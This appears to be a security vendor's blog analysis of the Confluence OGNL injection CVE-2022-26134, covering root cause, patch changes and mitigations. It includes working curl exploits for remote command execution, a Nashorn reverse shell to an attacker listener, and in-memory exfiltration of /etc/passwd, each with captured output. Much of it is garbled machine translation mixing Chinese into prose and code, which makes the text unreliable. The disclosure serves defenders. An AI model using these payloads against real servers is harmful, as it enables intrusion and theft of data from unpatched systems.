Last updated at Thu, 25 Jul 2024 19:25:16 GMT

On June 2, 2022, Atlassian published a security advisory for CVE-2022-26134, 在Confluence服务器和Confluence数据中心中存在一个严重的未经身份验证的远程代码执行漏洞. 该漏洞在6月2日发布时未被修补. 截至6月3日,补丁和临时解决方案都可用.

CVE-2022-26134 is being actively and widely exploited in the wild. Rapid7's Managed Detection and Response (MDR) 截至6月3日,团队已经观察到客户环境中可能利用CVE-2022-26134的情况有所上升.

所有支持的Confluence Server和Data Center版本都会受到影响.
Atlassian在6月3日更新了他们的建议,以反映这种可能性 all versions 影响Confluence Server和Data Center的运行(无论是否支持), 但他们尚未确认最早受影响的版本. 组织应该安装补丁或应用解决方案 emergency basis. 如果无法减轻任何版本的Confluence的漏洞, 您应该立即限制或禁用Confluence Server和Confluence Data Center实例.

Technical analysis

CVE-2022-26314是一个未经身份验证的远程OGNL注入漏洞,导致代码在Confluence服务器上下文中执行(通常为 confluence user on Linux installations). Given the nature of the vulnerability, internet-facing Confluence servers are at very high risk.

去年,Atlassian Confluence遭遇了另一次未经认证的远程OGNL注入, CVE-2021-26084. 维护面向互联网的Confluence或Data Server的组织可能想要考虑永久地将访问转移到VPN后面.

The vulnerability

如前所述,该漏洞是影响HTTP服务器的OGNL注入漏洞. OGNL有效负载放在HTTP请求的URI中. 任何类型的HTTP方法似乎都可以工作,无论是有效的(GET、POST、PUT等)还是无效的(e.g. “BALH”). 在其最简单的形式中,滥用该漏洞的攻击是这样的:

curl -v http://10.0.0.28:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/

Above, the exploit is URL-encoded. 该漏洞包含了从内容位置开始到最后一个实例的所有内容 /. Decoded it looks like this:

${@java.lang.Runtime@getRuntime().exec("touch /tmp/r7")}

利用的证据通常可以在访问日志中找到,因为利用存储在HTTP请求字段中. For example, on our test Confluence (version 7.13.6 LTS), the log file /opt/atlassian/confluence/logs/conf_access_log..log 使用后包含以下条目:

[02/Jun/2022:16:02:13 -0700] - http-nio-8090- execo -10.0.0.28 GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/ HTTP/1.1 302 20ms - - curl/7.68.0

扫描易受攻击的服务器很容易,因为攻击者可以利用漏洞迫使服务器在HTTP响应中发送命令输出. 例如,下面的请求将返回的响应 whoami in the attacker-created X-Cmd-Response HTTP字段(感谢Rapid7的布兰登·特纳为下面的漏洞). Note the X-Cmd-Response: confluence line in the HTTP response:

curl -v http://10.0.0.28:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader % 28% 22 x-cmd-response % 22% 2 c % 23 7 d / % 29% 29%
*   Trying 10.0.0.28:8090...
* TCP_NODELAY set
* Connected to 10.0.0.28 (10.0.0.28) port 8090 (#0)
> GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader % 22 x-cmd-response % 22% 2 c % 23 28% % 29% 29% 7 d / HTTP / 1.1
> Host: 10.0.0.28:8090
> User-Agent: curl/7.68.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Confluence-Request-Time: 1654212503090
< Set-Cookie: JSESSIONID=34154443DC363351DD0FE3D1EC3BEE01; Path=/; HttpOnly
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Content-Security-Policy: frame-ancestors 'self'
< X-Cmd-Response: confluence 
< Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader % 28% 22 x-cmd-response % 22% 2 c % 23 7 d % 2 findex % 29% 29%.action&permissionViolation=true
< Content-Type: text/html;charset=UTF-8
< Content-Length: 0
< Date: Thu, 02 Jun 2022 23:28:23 GMT
< 
* Connection #0 to host 10.0.0.28 left intact

Decoding the exploit in the curl request shows how this is achieved. The exploit saves the output of the exec call and uses setHeader 将结果包含在服务器对攻击者的响应中.

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

Root cause

我们的调查发现了以下部分调用堆栈. 调用堆栈演示了起始的OGNL注入 HttpServlet.service to OgnlValueStack.findValue and beyond.

at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:171)
at ognl.SimpleNode.getValue(SimpleNode.java:193)
at ognl.Ognl.getValue(Ognl.java:333)
at ognl.Ognl.getValue(Ognl.java:310)A
at com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141)
at com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39)
at com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95)
at com.opensymphony.xwork.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:263)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:187)
at com.atlassian.confluence.xwork.FlashScopeInterceptor.intercept(FlashScopeInterceptor.java:21)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.core.actions.LastModifiedInterceptor.intercept(LastModifiedInterceptor.java:27)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.core.ConfluenceAutowireInterceptor.intercept(ConfluenceAutowireInterceptor.java:44)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeAndHandleExceptions (TransactionalInvocation.java:61)
at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeInTransaction(TransactionalInvocation.java:51)
at com.atlassian.xwork.interceptors.XWorkTransactionInterceptor.intercept(XWorkTransactionInterceptor.java:50)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.xwork.SetupIncompleteInterceptor.intercept(SetupIncompleteInterceptor.java:61)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor.intercept(SecurityHeadersInterceptor.java:26)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
at com.opensymphony.xwork.DefaultActionProxy.execute(DefaultActionProxy.java:115)
at com.atlassian.confluence.servlet.ConfluenceServletDispatcher.serviceAction(ConfluenceServletDispatcher.java:56)
at com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)

OgnlValueStack findValue(str) 是重要的,因为它是要评估的OGNL表达式的起点. As we can see in the call stack above, TextParseUtil.class invokes OgnlValueStack.findValue when this vulnerability is exploited.

public class TextParseUtil {
    公共静态字符串translatvariables(字符串表达式,OgnlValueStack堆栈){
        StringBuilder sb = new StringBuilder();
        Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            String str1, g = m.group(1);
            int start = m.start();
            try {
                Object o = stack.findValue(g);
                str1 = (o == null) ? "" : o.toString();
            } catch (Exception ignored) {
                str1 = "";
            } 
            sb.append(expression.substring(previous, start)).append(str1);
            previous = m.end();
        } 
        if (previous < expression.length())
            sb.append(expression.substring(previous)); 
        return sb.toString();
    }
}

ActionChainResult.class calls TextParseUtil.translateVariables using this.namespace as the provided expression:

public void execute(ActionInvocation调用)抛出异常{
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

Where namespace is created from the request URI string in com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath:

getNamespaceFromServletPath(字符串servletPath) {
    servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
    return servletPath;
}

结果是攻击者提供的URI将被转换为名称空间, 然后找到它的方式到OGNL表达式评估. At a high level, this is very similar to CVE-2018-11776Apache Struts2命名空间OGNL注入漏洞. 只是提醒你,这个世界上没有新鲜的东西.

The patch

2022年6月3日,Atlassian指示客户更换 xwork-1.0.3.6.jar with a newly released xwork-1.0.3-atlassian-10.jar. The xwork jars contain the ActionChainResult.class and TextParseUtil.class 我们将其确定为OGNL表达式评估的路径.

这个补丁做了一些小的改变来解决这个问题. For one, namespace is no longer passed down to TextParseUtil.translateVariables from ActionChainResult.execute:

Before:

public void execute(ActionInvocation调用)抛出异常{
    if (this.namespace == null)
        this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);

After:

  public void execute(ActionInvocation调用)抛出异常{
    if (this.namespace == null)
      this.namespace = invocation.getProxy().getNamespace(); 
    String finalNamespace = this.namespace;
    String finalActionName = this.actionName;

Atlassian also added SafeExpressionUtil.class to the xworks jar. SafeExpressionUtil.class 提供对不安全表达式的过滤,并已插入到 OgnlValueStack.class in order to examine expressions when findValue is invoked. For example:

  public Object findValue(String expr) {
    try {
      if (expr == null)
        return null; 
      if (!this.safeExpressionUtil.isSafeExpression(expr))
        return null; 
      if (this.overrides != null && this.overrides.containsKey(expr))

Payloads

OGNL注入原语为攻击者提供了许多选择. Volexity’s excellent Zero-Day Exploitation of Atlassian Confluence discusses JSP webshells being dropped to disk. 但是,Confluence Server通常应执行为 confluence and not root. The confluence 用户是相当受限的,无法引入web shell(据我们所知).

除此之外,Java提供了各种各样的特性来帮助实现和维护执行(有和没有接触磁盘)。. 这里不可能全部演示,但是通过Java的反向shell路由 Nashorn Engine也许是一个值得他人探索的有趣的地方.

curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.命令% 27 bash 28% % 27% 2 c % 27度% 27% 2 c % 27个bash %我% 20% 3 e % 20 / dev / tcp / 10 26%.0.0.28/1270%200%3E%261%27%29.start%28%29%22%29%7D/

Decoded, the exploit looks like the following:

${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/10.0.0.28/1270 0>&1').start()")}

And results in a reverse shell:

albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.28 37148
bash:无法设置终端进程组(34470):设备的ioctl不合适
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
confluence@ubuntu: / opt / atlassian融合/ bin / $ id
id
Uid =1001(汇流)gid=1002(汇流)组=1002(汇流)
confluence@ubuntu: / opt / atlassian /融合美元/ bin

Of course, 如果受害者正在运行某种类型的威胁检测软件,攻击者可能会冒很大的风险. 只在内存中执行是最不可能被攻击者抓住的. 作为一个例子,我们组合了一个简单的漏洞,如下所示 /etc/passwd 然后把它转移到攻击者那里,而不会爆炸.

curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20data%20%3D%20new%20java.lang.String%28java.nio.file.Files.readAllBytes%28java.nio.file.Paths.27 / etc / passwd % % 28% 27% 29% 29% 29% 3 bvar % 20袜子% 20%新% 20 java 3 d % 20.net.Socket%28%2710.0.0.3 b 2 c % 201270% 29% 28% - 27% % 20 var % 20输出% 20%新% 20 java 3 d % 20.io.BufferedWriter%28new%20java.io.OutputStreamWriter%28sock.getOutputStream%28%29%29%29%3B%20output.write%28data%29%3B%20output.flush%28%29%3B%20sock.close%28%29%3B%22%29%7D/

解码后,读者可以看到我们再次依赖于Nashorn脚本引擎.

${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("var data = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get('/etc/passwd')));var sock = new java.net.Socket('10.0.0.28', 1270); var output = new java.io.BufferedWriter(new java.io.OutputStreamWriter(sock.getOutputStream())); output.write(data); output.flush(); sock.close();")}

再一次,攻击者正在监听泄露,正如你所料,就像 /etc/passd:

albinolobster@ubuntu:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.0.0.28 37162
root:x:0:0:root:/root:/bin/bash
守护进程:x: 1:1:守护进程:/ usr / sbin: / usr / sbin / nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
游戏:x: 5:60:游戏:/ usr /游戏:/ usr / sbin / nologin
男:x: 12:男:/ var /缓存/男:/ usr / sbin / nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
… truncated …

最后,请注意,该漏洞也可以完全是uri编码的. 编写依赖于的任何类型的检测逻辑 just the ASCII form will be quickly bypassed.

Mitigation guidance

Atlassian于2022年6月3日发布了CVE-2022-26134补丁. 完整的固定版本列表可在 advisory. CVE-2022-26134的临时解决方案也可用-请注意,该解决方案必须手动应用. Detailed instructions are available in Atlassian's advisory 将此解决方案应用于Confluence服务器和数据中心.15.0-7.18.0 and 7.0.0-7.14.2.

组织应该安装补丁或应用解决方案 emergency basis. 如果无法减轻任何版本的Confluence的漏洞, 您应该立即限制或禁用Confluence Server和Confluence Data Center实例. 我们建议所有组织考虑实施IP地址安全列表规则,以限制对Confluence的访问.

如果您无法将安全列表IP规则应用到您的Confluence服务器, consider adding WAF protection. Based on the details published so far, 我们建议添加Java反序列化规则来防御RCE注入漏洞, such as CVE-2021-26084. For example, see the JavaDeserializationRCE_BODY, JavaDeserializationRCE_URI, JavaDeserializationRCE_QUERYSTRING, and JavaDeserializationRCE_HEADER rules described here.

Rapid7 customers

InsightVM and Nexpose: 截至6月3日,客户可以通过两次未经身份验证的漏洞检查来评估他们对CVE-2022-26134的暴露程度, 2022:

  • 远程检查(atlassian-confluence-cve-2022-26134-remote)将于美国东部时间6月3日下午3:30发布,仅限内容
  • A remote version 查看(atlassianconfluence -cve-2022-26134),于美国东部时间6月3日晚9点发布

InsightIDR: 客户应该从Insight Agent监控的系统中查找insighttidr内置检测规则生成的警报. 以下规则生成的警报可能是相关恶意活动的指示:

  • Confluence Java App Launching Processes

The Rapid7 MDR (Managed Detection & 响应)SOC正在监控此活动,并将立即将确认的恶意活动升级给管理的客户.

tCell: 利用Java App Server Agent的客户可以通过使用OS Commands块功能来保护自己免受攻击. For customers leveraging a Web Server Agent, 我们建议为任何以。开头的url路径创建一个块规则 ${ or %24%7B.

Updates

June 3, 2022 11:20 AM EDT: 本博客已经更新,以反映所有支持的版本的Confluence服务器和Confluence数据中心受到影响, and it's likely that all versions (including LTS and unsupported) are affected, 但Atlassian尚未确定最早的易受攻击版本.

June 3, 2022 11:45 AM EDT: Atlassian发布了CVE-2022-26134的临时解决方案. The workaround must be manually applied. Detailed instructions are available in Atlassian's advisory 将此解决方案应用于Confluence服务器和数据中心.15.0-7.18.0 and 7.0.0-7.14.2.

June 3, 2022 1:15 PM EDT: Atlassian发布了针对CVE-2022-26134的补丁. A full list of fixed versions is available in their advisory. Rapid7建议应用补丁或临时解决方案(手动) emergency basis.

June 3, 2022 3:15 PM EDT: 本博客中添加了CVE-2022-26134的完整技术分析,以帮助安全从业者了解此漏洞并确定其优先级. 针对InsightVM和expose客户的漏洞检查正在积极开发中,目标是今天下午发布.

June 3, 2022 3:30 PM EDT: InsightVM和expose客户可以在今天(6月3日)通过远程漏洞检查来评估他们对CVE-2022-26134的暴露程度, 2022) content release.

June 6, 2022 10 AM EDT: 第二份内容发布于周五晚上, 6月3日包含CVE-2022-26134的远程版本检查. 这意味着InsightVM和expose客户能够通过两次未经身份验证的漏洞检查来评估他们对CVE-2022-26134的暴露.

攻击者针对Confluence服务器和Confluence数据中心的本地实例的活动持续增加. 尚未应用补丁或解决方案的组织应该这样做 assume compromise 并激活事件响应协议,除了在紧急情况下修复CVE-2022-26134之外.

下载Rapid7年度漏洞情报报告 ▶︎

NEVER MISS A BLOG

获取有关安全的最新故事、专业知识和新闻.